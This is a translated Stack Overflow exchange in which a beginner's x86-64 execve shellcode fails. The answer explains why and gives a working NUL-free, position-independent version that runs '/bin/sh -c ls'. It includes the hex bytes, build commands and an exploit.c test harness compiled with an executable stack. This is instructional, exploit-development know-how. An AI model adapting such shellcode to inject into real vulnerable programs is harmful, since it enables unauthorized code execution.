我是shellcode代码开发的新手,我不明白为什么生成的shellcode代码不能像预期的那样工作。
汇编程序代码:
基于an answer对我之前的问题。
.section .data
cmd: .string "/bin/sh" /* command string */
hand: .string "-c" /* command arguments string */
args: .string "ls -al" /* arguments string */
argv: .quad cmd /* array of command, command arguments and arguments */
.quad hand
.quad args
.quad 0
.section .text
.globl _start
_start:
movq $59, %rax /* call execve system call */
leaq cmd(%rip), %rdi /* save command to rdi */
leaq argv(%rip), %rsi /* save args to rsi */
movq $0, %rdx /* save NULL to rdx */
syscall /* make system call */C测试代码:
#include<stdio.h>
#include<string.h>
unsigned char shellcode[] = "\x48\xc7\xc0\x3b\x00\x00\x00\x48\x8d\x3d\xf2\x0f\x00\x00\x48\x8d\x35\xfd\x0f\x00\x00\x48\xc7\xc2\x00\x00\x00\x00\x0f\x05";
int main()
{
int (*ret)() = (int(*)())shellcode;
ret();
}输出:
Illegal instruction详细信息: Kali Linux /Linux i386 x86_64
发布于 2020-10-18 18:02:25
代码的问题是,您生成的shell字符串不包含任何数据。数据包含绝对指针,因此不独立于位置,因此如果将其移动到.text并包含它,则无法工作。一旦在另一个程序中运行,就像在C代码中一样,该程序将尝试查找不存在的数据,并在不适用于正在运行的可利用程序的固定内存位置。
我想你可能还有另一个问题导致了非法指令。您没有展示如何构建C程序,但我不知道它是否为32位,外壳代码是否为64位。我开始认为您的C程序可能已经编译成32位程序,而非法指令可能是因为您无法在32位程序中可靠地运行64位代码( shell代码)。例如,SYSCALL指令是非AMD上32位程序中的无效操作码.对于如何编译/组装/链接shell代码和C程序,这只是猜测而已。
您必须生成独立于位置的代码(PIC),这样一旦加载到堆栈上,它就可以在任何地方运行。您的数据必须与代码一起放置在段中。代码还必须避免生成NUL字符(0x00),因为如果将字符串作为用户输入提供给实际的可利用程序,则会过早终止字符串。
可用于此类目的的代码版本如下所示:
外壳代码.s
# This shell code is designed to avoid any NUL(0x00) byte characters being generated
# and is coded to be position independent.
.section .text
.globl _start
_start:
jmp overdata # Mix code and DATA in same segment
# Generate all the strings without a NUL(0) byte. We will replace the 0xff
# with 0x00 in the code
name:.ascii "/bin/sh" # Program to run
name_nul: .byte 0xff # This 0xff will be replaced by 0x00 in the code
arg1:.ascii "-c" # Program argument
arg1_nul: .byte 0xff # This 0xff will be replaced by 0x00 in the code
arg2:.ascii "ls" # Program Argument
arg2_nul: .byte 0xff # This 0xff will be replaced by 0x00 in the code
overdata:
xor %eax, %eax # RAX = 0
# All references to the data before our code will use a negative offset from RIP
# and use a 4 byte displacement. This avoids producing unwanted NUL(0) characters
# in the code. We use RIP relative addressing so the code will be position
# independent once loaded in memory.
# Zero terminate each of the strings
mov %al, arg2_nul(%rip)
mov %al, arg1_nul(%rip)
mov %al, name_nul(%rip)
lea name(%rip), %rdi # RDI = pointer to program name string
push %rax # NULL terminate the program argument array
leaq arg2(%rip), %rsi
push %rsi # Push address of the 3rd program argument on stack
lea arg1(%rip), %rsi
push %rsi # Push address of the 2nd program argument on stack
push %rdi # Push address of the program name on stack as 1st arg
mov %rsp, %rsi # RSI = Pointer to the program argument array
mov %rax, %rdx # RDX = 0 = NULL envp parameter
mov $59, %al # RAX = execve system call number
syscall可以使用以下方法生成C样式字符串:
as --64 shellcode.s -o shellcode.o
ld shellcode.o -o shellcode
objcopy -j.text -O binary shellcode shellcode.bin
hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin上面的hexdump命令将输出:
\xeb\x0e\x2f\x62\x69\x6e\x2f\x73\x68\xff\x2d\x63\xff\x6c\x73\xff\x31\xc0\x88\x05\xf7\xff\xff\xff\x88\x05\xee\xff\xff\xff\x88\x05\xe5\xff\xff\xff\x48\x8d\x3d\xd7\xff\xff\xff\x50\x48\x8d\x35\xda\xff\xff\xff\x56\x48\x8d\x35\xcf\xff\xff\xff\x56\x57\x48\x89\xe6\x48\x89\xc2\xb0\x3b\x0f\x05
您将注意到,不存在与代码不同的\x00字符。您可以在C程序中直接使用此字符串,如下所示:
plit.c
int main(void)
{
char shellcode[]="\xeb\x0e\x2f\x62\x69\x6e\x2f\x73\x68\xff\x2d\x63\xff\x6c\x73\xff\x31\xc0\x88\x05\xf7\xff\xff\xff\x88\x05\xee\xff\xff\xff\x88\x05\xe5\xff\xff\xff\x48\x8d\x3d\xd7\xff\xff\xff\x50\x48\x8d\x35\xda\xff\xff\xff\x56\x48\x8d\x35\xcf\xff\xff\xff\x56\x57\x48\x89\xe6\x48\x89\xc2\xb0\x3b\x0f\x05";
int (*ret)() = (int(*)())shellcode;
ret();
return 0;
}这必须通过可执行堆栈进行编译和链接:
gcc -zexecstack exploit.c -o exploitstrace ./exploit将生成类似于以下内容的EXECVE系统调用:
execve("/bin/sh“、"/bin/sh”、"-c“、"ls”、NULL) =0
Note:我会以编程方式在堆栈上构建字符串,类似于我编写的另一个Stackoverflow answer中的代码。
https://stackoverflow.com/questions/64415910
复制相似问题